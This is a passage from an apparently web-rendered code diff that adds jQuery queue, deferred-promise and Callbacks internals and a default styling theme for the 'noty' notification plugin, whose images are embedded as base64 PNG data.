+
force = false;
|
51 |
+
}
|
52 |
+
if ( elem ) {
|
53 |
+
type = type || "fx";
|
54 |
+
var key = type + "mark",
|
55 |
+
count = force ? 0 : ( (jQuery.data( elem, key, undefined, true) || 1 ) - 1 );
|
56 |
+
if ( count ) {
|
57 |
+
jQuery.data( elem, key, count, true );
|
58 |
+
} else {
|
59 |
+
jQuery.removeData( elem, key, true );
|
60 |
+
handleQueueMarkDefer( elem, type, "mark" );
|
61 |
+
}
|
62 |
+
}
|
63 |
+
},
|
64 |
+
|
65 |
+
queue: function( elem, type, data ) {
|
66 |
+
if ( elem ) {
|
67 |
+
type = (type || "fx") + "queue";
|
68 |
+
var q = jQuery.data( elem, type, undefined, true );
|
69 |
+
// Speed up dequeue by getting out quickly if this is just a lookup
|
70 |
+
if ( data ) {
|
71 |
+
if ( !q || jQuery.isArray(data) ) {
|
72 |
+
q = jQuery.data( elem, type, jQuery.makeArray(data), true );
|
73 |
+
} else {
|
74 |
+
q.push( data );
|
75 |
+
}
|
76 |
+
}
|
77 |
+
return q || [];
|
78 |
+
}
|
79 |
+
},
|
80 |
+
|
81 |
+
dequeue: function( elem, type ) {
|
82 |
+
type = type || "fx";
|
83 |
+
|
84 |
+
var queue = jQuery.queue( elem, type ),
|
85 |
+
fn = queue.shift(),
|
86 |
+
defer;
|
87 |
+
|
88 |
+
// If the fx queue is dequeued, always remove the progress sentinel
|
89 |
+
if ( fn === "inprogress" ) {
|
90 |
+
fn = queue.shift();
|
91 |
+
}
|
92 |
+
|
93 |
+
if ( fn ) {
|
94 |
+
// Add a progress sentinel to prevent the fx queue from being
|
95 |
+
// automatically dequeued
|
96 |
+
if ( type === "fx" ) {
|
97 |
+
queue.unshift("inprogress");
|
98 |
+
}
|
99 |
+
|
100 |
+
fn.call(elem, function() {
|
101 |
+
jQuery.dequeue(elem, type);
|
102 |
+
});
|
103 |
+
}
|
104 |
+
|
105 |
+
if ( !queue.length ) {
|
106 |
+
jQuery.removeData( elem, type + "queue", true );
|
107 |
+
handleQueueMarkDefer( elem, type, "queue" );
|
108 |
+
}
|
109 |
+
}
|
110 |
+
});
|
111 |
+
|
112 |
+
jQuery.fn.extend({
|
113 |
+
queue: function( type, data ) {
|
114 |
+
if ( typeof type !== "string" ) {
|
115 |
+
data = type;
|
116 |
+
type = "fx";
|
117 |
+
}
|
118 |
+
|
119 |
+
if ( data === undefined ) {
|
120 |
+
return jQuery.queue( this[0], type );
|
121 |
+
}
|
122 |
+
return this.each(function() {
|
123 |
+
var queue = jQuery.queue( this, type, data );
|
124 |
+
|
125 |
+
if ( type === "fx" && queue[0] !== "inprogress" ) {
|
126 |
+
jQuery.dequeue( this, type );
|
127 |
+
}
|
128 |
+
});
|
129 |
+
},
|
130 |
+
dequeue: function( type ) {
|
131 |
+
return this.each(function() {
|
132 |
+
jQuery.dequeue( this, type );
|
133 |
+
});
|
134 |
+
},
|
135 |
+
// Based off of the plugin by Clint Helfers, with permission.
|
136 |
+
// http://blindsignals.com/index.php/2009/07/jquery-delay/
|
137 |
+
delay: function( time, type ) {
|
138 |
+
time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
|
139 |
+
type = type || "fx";
|
140 |
+
|
141 |
+
return this.queue( type, function() {
|
142 |
+
var elem = this;
|
143 |
+
setTimeout(function() {
|
144 |
+
jQuery.dequeue( elem, type );
|
145 |
+
}, time );
|
146 |
+
});
|
147 |
+
},
|
148 |
+
clearQueue: function( type ) {
|
149 |
+
return this.queue( type || "fx", [] );
|
150 |
+
},
|
151 |
+
// Get a promise resolved when queues of a certain type
|
152 |
+
// are emptied (fx is the type by default)
|
153 |
+
promise: function( type, object ) {
|
154 |
+
if ( typeof type !== "string" ) {
|
155 |
+
object = type;
|
156 |
+
type = undefined;
|
157 |
+
}
|
158 |
+
type = type || "fx";
|
159 |
+
var defer = jQuery.Deferred(),
|
160 |
+
elements = this,
|
161 |
+
i = elements.length,
|
162 |
+
count = 1,
|
163 |
+
deferDataKey = type + "defer",
|
164 |
+
queueDataKey = type + "queue",
|
165 |
+
markDataKey = type + "mark",
|
166 |
+
tmp;
|
167 |
+
function resolve() {
|
168 |
+
if ( !( --count ) ) {
|
169 |
+
defer.resolveWith( elements, [ elements ] );
|
170 |
+
}
|
171 |
+
}
|
172 |
+
while( i-- ) {
|
173 |
+
if (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) ||
|
174 |
+
( jQuery.data( elements[ i ], queueDataKey, undefined, true ) ||
|
175 |
+
jQuery.data( elements[ i ], markDataKey, undefined, true ) ) &&
|
176 |
+
jQuery.data( elements[ i ], deferDataKey, jQuery._Deferred(), true ) )) {
|
177 |
+
count++;
|
178 |
+
tmp.done( resolve );
|
179 |
+
}
|
180 |
+
}
|
181 |
+
resolve();
|
182 |
+
return defer.promise();
|
183 |
+
}
|
184 |
+
});
|
185 |
+
|
186 |
+
function handleQueueMarkDefer( elem, type, src ) {
|
187 |
+
var deferDataKey = type + "defer",
|
188 |
+
queueDataKey = type + "queue",
|
189 |
+
markDataKey = type + "mark",
|
190 |
+
defer = jQuery._data( elem, deferDataKey );
|
191 |
+
if ( defer &&
|
192 |
+
( src === "queue" || !jQuery._data(elem, queueDataKey) ) &&
|
193 |
+
( src === "mark" || !jQuery._data(elem, markDataKey) ) ) {
|
194 |
+
// Give room for hard-coded callbacks to fire first
|
195 |
+
// and eventually mark/queue something else on the element
|
196 |
+
setTimeout( function() {
|
197 |
+
if ( !jQuery._data( elem, queueDataKey ) &&
|
198 |
+
!jQuery._data( elem, markDataKey ) ) {
|
199 |
+
jQuery.removeData( elem, deferDataKey, true );
|
200 |
+
defer.fire();
|
201 |
+
}
|
202 |
+
}, 0 );
|
203 |
+
}
|
204 |
+
}
|
205 |
+
|
206 |
+
|
207 |
+
|
208 |
+
jQuery.Callbacks = function( flags ) {
|
209 |
+
|
210 |
+
// Convert flags from String-formatted to Object-formatted
|
211 |
+
// (we check in cache first)
|
212 |
+
flags = flags ? ( /*flagsCache[ flags ] || */createFlags( flags ) ) : {};
|
213 |
+
|
214 |
+
var // Actual callback list
|
215 |
+
list = [],
|
216 |
+
// Stack of fire calls for repeatable lists
|
217 |
+
stack = [],
|
218 |
+
// Last fire value (for non-forgettable lists)
|
219 |
+
memory,
|
220 |
+
// Flag to know if list is currently firing
|
221 |
+
firing,
|
222 |
+
// First callback to fire (used internally by add and fireWith)
|
223 |
+
firingStart,
|
224 |
+
// End of the loop when firing
|
225 |
+
firingLength,
|
226 |
+
// Index of currently firing callback (modified by remove if needed)
|
227 |
+
firingIndex,
|
228 |
+
// Add one or several callbacks to the list
|
229 |
+
add = function( args ) {
|
230 |
+
var i,
|
231 |
+
length,
|
232 |
+
elem,
|
233 |
+
type,
|
234 |
+
actual;
|
235 |
+
for ( i = 0, length = args.length; i < length; i++ ) {
|
236 |
+
elem = args[ i ];
|
237 |
+
type = jQuery.type( elem );
|
238 |
+
if ( type === "array" ) {
|
239 |
+
// Inspect recursively
|
240 |
+
add( elem );
|
241 |
+
} else if ( type === "function" ) {
|
242 |
+
// Add if not in unique mode and callback is not in
|
243 |
+
if ( !flags.unique || !self.has( elem ) ) {
|
244 |
+
list.push( elem );
|
245 |
+
}
|
246 |
+
}
|
247 |
+
}
|
248 |
+
},
|
249 |
+
// Fire callbacks
|
250 |
+
fire = function( context, args ) {
|
251 |
+
args = args || [];
|
252 |
+
memory = !flags.memory || [ context, args ];
|
253 |
+
firing = true;
|
254 |
+
firingIndex = firingStart || 0;
|
255 |
+
firingStart = 0;
|
256 |
+
firingLength = list.length;
|
257 |
+
for ( ; list && firingIndex < firingLength; firingIndex++ ) {
|
258 |
+
if ( list[ firingIndex ].apply( context, args ) === false && flags.stopOnFalse ) {
|
259 |
+
memory = true; // Mark as halted
|
260 |
+
break;
|
261 |
+
}
|
262 |
+
}
|
263 |
+
firing = false;
|
264 |
+
if ( list ) {
|
265 |
+
if ( !flags.once ) {
|
266 |
+
if ( stack && stack.length ) {
|
267 |
+
memory = stack.shift();
|
268 |
+
self.fireWith( memory[ 0 ], memory[ 1 ] );
|
269 |
+
}
|
270 |
+
} else if ( memory === true ) {
|
271 |
+
self.disable();
|
272 |
+
} else {
|
273 |
+
list = [];
|
274 |
+
}
|
275 |
+
}
|
276 |
+
},
|
277 |
+
// Actual Callbacks object
|
278 |
+
self = {
|
279 |
+
// Add a callback or a collection of callbacks to the list
|
280 |
+
add: function() {
|
281 |
+
if ( list ) {
|
282 |
+
var length = list.length;
|
283 |
+
add( arguments );
|
284 |
+
// Do we need to add the callbacks to the
|
285 |
+
// current firing batch?
|
286 |
+
if ( firing ) {
|
287 |
+
firingLength = list.length;
|
288 |
+
// With memory, if we're not firing then
|
289 |
+
// we should call right away, unless previous
|
290 |
+
// firing was halted (stopOnFalse)
|
291 |
+
} else if ( memory && memory !== true ) {
|
292 |
+
firingStart = length;
|
293 |
+
fire( memory[ 0 ], memory[ 1 ] );
|
294 |
+
}
|
295 |
+
}
|
296 |
+
return this;
|
297 |
+
},
|
298 |
+
// Remove a callback from the list
|
299 |
+
remove: function() {
|
300 |
+
if ( list ) {
|
301 |
+
var args = arguments,
|
302 |
+
argIndex = 0,
|
303 |
+
argLength = args.length;
|
304 |
+
for ( ; argIndex < argLength ; argIndex++ ) {
|
305 |
+
for ( var i = 0; i < list.length; i++ ) {
|
306 |
+
if ( args[ argIndex ] === list[ i ] ) {
|
307 |
+
// Handle firingIndex and firingLength
|
308 |
+
if ( firing ) {
|
309 |
+
if ( i <= firingLength ) {
|
310 |
+
firingLength--;
|
311 |
+
if ( i <= firingIndex ) {
|
312 |
+
firingIndex--;
|
313 |
+
}
|
314 |
+
}
|
315 |
+
}
|
316 |
+
// Remove the element
|
317 |
+
list.splice( i--, 1 );
|
318 |
+
// If we have some unicity property then
|
319 |
+
// we only need to do this once
|
320 |
+
if ( flags.unique ) {
|
321 |
+
break;
|
322 |
+
}
|
323 |
+
}
|
324 |
+
}
|
325 |
+
}
|
326 |
+
}
|
327 |
+
return this;
|
328 |
+
},
|
329 |
+
// Control if a given callback is in the list
|
330 |
+
has: function( fn ) {
|
331 |
+
if ( list ) {
|
332 |
+
var i = 0,
|
333 |
+
length = list.length;
|
334 |
+
for ( ; i < length; i++ ) {
|
335 |
+
if ( fn === list[ i ] ) {
|
336 |
+
return true;
|
337 |
+
}
|
338 |
+
}
|
339 |
+
}
|
340 |
+
return false;
|
341 |
+
},
|
342 |
+
// Remove all callbacks from the list
|
343 |
+
empty: function() {
|
344 |
+
list = [];
|
345 |
+
return this;
|
346 |
+
},
|
347 |
+
// Have the list do nothing anymore
|
348 |
+
disable: function() {
|
349 |
+
list = stack = memory = undefined;
|
350 |
+
return this;
|
351 |
+
},
|
352 |
+
// Is it disabled?
|
353 |
+
disabled: function() {
|
354 |
+
return !list;
|
355 |
+
},
|
356 |
+
// Lock the list in its current state
|
357 |
+
lock: function() {
|
358 |
+
stack = undefined;
|
359 |
+
if ( !memory || memory === true ) {
|
360 |
+
self.disable();
|
361 |
+
}
|
362 |
+
return this;
|
363 |
+
},
|
364 |
+
// Is it locked?
|
365 |
+
locked: function() {
|
366 |
+
return !stack;
|
367 |
+
},
|
368 |
+
// Call all callbacks with the given context and arguments
|
369 |
+
fireWith: function( context, args ) {
|
370 |
+
if ( stack ) {
|
371 |
+
if ( firing ) {
|
372 |
+
if ( !flags.once ) {
|
373 |
+
stack.push( [ context, args ] );
|
374 |
+
}
|
375 |
+
} else if ( !( flags.once && memory ) ) {
|
376 |
+
fire( context, args );
|
377 |
+
}
|
378 |
+
}
|
379 |
+
return this;
|
380 |
+
},
|
381 |
+
// Call all the callbacks with the given arguments
|
382 |
+
fire: function() {
|
383 |
+
self.fireWith( this, arguments );
|
384 |
+
return this;
|
385 |
+
},
|
386 |
+
// To know if the callbacks have already been called at least once
|
387 |
+
fired: function() {
|
388 |
+
return !!memory;
|
389 |
+
}
|
390 |
+
};
|
391 |
+
|
392 |
+
return self;
|
393 |
+
};
|
394 |
+
|
395 |
+
|
396 |
+
|
397 |
+
jQuery.fn.extend({
|
398 |
+
// Get a promise resolved when queues of a certain type
|
399 |
+
// are emptied (fx is the type by default)
|
400 |
+
promise: function( type, object ) {
|
401 |
+
if ( typeof type !== "string" ) {
|
402 |
+
object = type;
|
403 |
+
type = undefined;
|
404 |
+
}
|
405 |
+
type = type || "fx";
|
406 |
+
var defer = jQuery.Deferred(),
|
407 |
+
elements = this,
|
408 |
+
i = elements.length,
|
409 |
+
count = 1,
|
410 |
+
deferDataKey = type + "defer",
|
411 |
+
queueDataKey = type + "queue",
|
412 |
+
markDataKey = type + "mark",
|
413 |
+
tmp;
|
414 |
+
function resolve() {
|
415 |
+
if ( !( --count ) ) {
|
416 |
+
defer.resolveWith( elements, [ elements ] );
|
417 |
+
}
|
418 |
+
}
|
419 |
+
while( i-- ) {
|
420 |
+
if (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) ||
|
421 |
+
( jQuery.data( elements[ i ], queueDataKey, undefined, true ) ||
|
422 |
+
jQuery.data( elements[ i ], markDataKey, undefined, true ) ) &&
|
423 |
+
jQuery.data( elements[ i ], deferDataKey, jQuery.Callbacks( "once memory" ), true ) )) {
|
424 |
+
count++;
|
425 |
+
tmp.add( resolve );
|
426 |
+
}
|
427 |
+
}
|
428 |
+
resolve();
|
429 |
+
return defer.promise();
|
430 |
+
}
|
431 |
+
});
|
432 |
+
})();
|
settings/types/js/noty/themes/default.js
ADDED
@@ -0,0 +1,156 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
;(function($) {
|
2 |
+
|
3 |
+
$.noty.themes.defaultTheme = {
|
4 |
+
name: 'defaultTheme',
|
5 |
+
helpers: {
|
6 |
+
borderFix: function() {
|
7 |
+
if (this.options.dismissQueue) {
|
8 |
+
var selector = this.options.layout.container.selector + ' ' + this.options.layout.parent.selector;
|
9 |
+
switch (this.options.layout.name) {
|
10 |
+
case 'top':
|
11 |
+
$(selector).css({borderRadius: '0px 0px 0px 0px'});
|
12 |
+
$(selector).last().css({borderRadius: '0px 0px 5px 5px'}); break;
|
13 |
+
case 'topCenter': case 'topLeft': case 'topRight':
|
14 |
+
case 'bottomCenter': case 'bottomLeft': case 'bottomRight':
|
15 |
+
case 'center': case 'centerLeft': case 'centerRight': case 'inline':
|
16 |
+
$(selector).css({borderRadius: '0px 0px 0px 0px'});
|
17 |
+
$(selector).first().css({'border-top-left-radius': '5px', 'border-top-right-radius': '5px'});
|
18 |
+
$(selector).last().css({'border-bottom-left-radius': '5px', 'border-bottom-right-radius': '5px'}); break;
|
19 |
+
case 'bottom':
|
20 |
+
$(selector).css({borderRadius: '0px 0px 0px 0px'});
|
21 |
+
$(selector).first().css({borderRadius: '5px 5px 0px 0px'}); break;
|
22 |
+
default: break;
|
23 |
+
}
|
24 |
+
}
|
25 |
+
}
|
26 |
+
},
|
27 |
+
modal: {
|
28 |
+
css: {
|
29 |
+
position: 'fixed',
|
30 |
+
width: '100%',
|
31 |
+
height: '100%',
|
32 |
+
backgroundColor: '#000',
|
33 |
+
zIndex: 10000,
|
34 |
+
opacity: 0.6,
|
35 |
+
display: 'none',
|
36 |
+
left: 0,
|
37 |
+
top: 0
|
38 |
+
}
|
39 |
+
},
|
40 |
+
style: function() {
|
41 |
+
|
42 |
+
this.$bar.css({
|
43 |
+
overflow: 'hidden',
|
44 |
+
background: "url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAoCAYAAAAPOoFWAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPZJREFUeNq81tsOgjAMANB2ov7/7ypaN7IlIwi9rGuT8QSc9EIDAsAznxvY4pXPKr05RUE5MEVB+TyWfCEl9LZApYopCmo9C4FKSMtYoI8Bwv79aQJU4l6hXXCZrQbokJEksxHo9KMOgc6w1atHXM8K9DVC7FQnJ0i8iK3QooGgbnyKgMDygBWyYFZoqx4qS27KqLZJjA1D0jK6QJcYEQEiWv9PGkTsbqxQ8oT+ZtZB6AkdsJnQDnMoHXHLGKOgDYuCWmYhEERCI5gaamW0bnHdA3k2ltlIN+2qKRyCND0bhqSYCyTB3CAOc4WusBEIpkeBuPgJMAAX8Hs1NfqHRgAAAABJRU5ErkJggg==') repeat-x scroll left top #fff"
|
45 |
+
});
|
46 |
+
|
47 |
+
this.$message.css({
|
48 |
+
fontSize: '13px',
|
49 |
+
lineHeight: '16px',
|
50 |
+
textAlign: 'center',
|
51 |
+
padding: '8px 10px 9px',
|
52 |
+
width: 'auto',
|
53 |
+
position: 'relative'
|
54 |
+
});
|
55 |
+
|
56 |
+
this.$closeButton.css({
|
57 |
+
position: 'absolute',
|
58 |
+
top: 4, right: 4,
|
59 |
+
width: 10, height: 10,
|
60 |
+
background: "url(data:image/png;base64,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)",
|
61 |
+
display: 'none',
|
62 |
+
cursor: 'pointer'
|
63 |
+
});
|
64 |
+
|
65 |
+
this.$buttons.css({
|
66 |
+
padding: 5,
|
67 |
+
textAlign: 'right',
|
68 |
+
borderTop: '1px solid #ccc',
|
69 |
+
backgroundColor: '#fff'
|
70 |
+
});
|
71 |
+
|
72 |
+
this.$buttons.find('button').css({
|
73 |
+
marginLeft: 5
|
74 |
+
});
|
75 |
+
|
76 |
+
this.$buttons.find('button:first').css({
|
77 |
+
marginLeft: 0
|
78 |
+
});
|
79 |
+
|
80 |
+
this.$bar.bind({
|
81 |
+
mouseenter: function() { $(this).find('.noty_close').fadeIn(); },
|
82 |
+
mouseleave: function() { $(this).find('.noty_close').fadeOut(); }
|
83 |
+
});
|
84 |
+
|
85 |
+
switch (this.options.layout.name) {
|
86 |
+
case 'top':
|
87 |
+
this.$bar.css({
|
88 |
+
borderRadius: '0px 0px 5px 5px',
|
89 |
+
borderBottom: '2px solid #eee',
|
90 |
+
borderLeft: '2px solid #eee',
|
91 |
+
borderRight: '2px solid #eee',
|
92 |
+
boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
|
93 |
+
});
|
94 |
+
break;
|
95 |
+
case 'topCenter': case 'center': case 'bottomCenter': case 'inline':
|
96 |
+
this.$bar.css({
|
97 |
+
borderRadius: '5px',
|
98 |
+
border: '1px solid #eee',
|
99 |
+
boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
|
100 |
+
});
|
101 |
+
this.$message.css({fontSize: '13px', textAlign: 'center'});
|
102 |
+
break;
|
103 |
+
case 'topLeft': case 'topRight':
|
104 |
+
case 'bottomLeft': case 'bottomRight':
|
105 |
+
case 'centerLeft': case 'centerRight':
|
106 |
+
this.$bar.css({
|
107 |
+
borderRadius: '5px',
|
108 |
+
border: '1px solid #eee',
|
109 |
+
boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
|
110 |
+
});
|
111 |
+
this.$message.css({fontSize: '13px', textAlign: 'left'});
|
112 |
+
break;
|
113 |
+
case 'bottom':
|
114 |
+
this.$bar.css({
|
115 |
+
borderRadius: '5px 5px 0px 0px',
|
116 |
+
borderTop: '2px solid #eee',
|
117 |
+
borderLeft: '2px solid #eee',
|
118 |
+
borderRight: '2px solid #eee',
|
119 |
+
boxShadow: "0 -2px 4px rgba(0, 0, 0, 0.1)"
|
120 |
+
});
|
121 |
+
break;
|
122 |
+
default:
|
123 |
+
this.$bar.css({
|
124 |
+
border: '2px solid #eee',
|
125 |
+
boxShadow: "0 2px 4px rgba(0, 0, 0, 0.1)"
|
126 |
+
});
|
127 |
+
break;
|
128 |
+
}
|
129 |
+
|
130 |
+
switch (this.options.type) {
|
131 |
+
case 'alert': case 'notification':
|
132 |
+
this.$bar.css({backgroundColor: '#FFF', borderColor: '#CCC', color: '#444'}); break;
|
133 |
+
case 'warning':
|
134 |
+
this.$bar.css({backgroundColor: '#FFEAA8', borderColor: '#FFC237', color: '#826200'});
|
135 |
+
this.$buttons.css({borderTop: '1px solid #FFC237'}); break;
|
136 |
+
case 'error':
|
137 |
+
this.$bar.css({backgroundColor: 'red', borderColor: 'darkred', color: '#FFF'});
|
138 |
+
this.$message.css({fontWeight: 'bold'});
|
139 |
+
this.$buttons.css({borderTop: '1px solid darkred'}); break;
|
140 |
+
case 'information':
|
141 |
+
this.$bar.css({backgroundColor: '#57B7E2', borderColor: '#0B90C4', color: '#FFF'});
|
142 |
+
this.$buttons.css({borderTop: '1px solid #0B90C4'}); break;
|
143 |
+
case 'success':
|
144 |
+
this.$bar.css({backgroundColor: 'lightgreen', borderColor: '#50C24E', color: 'darkgreen'});
|
145 |
+
this.$buttons.css({borderTop: '1px solid #50C24E'});break;
|
146 |
+
default:
|
147 |
+
this.$bar.css({backgroundColor: '#FFF', borderColor: '#CCC', color: '#444'}); break;
|
148 |
+
}
|
149 |
+
},
|
150 |
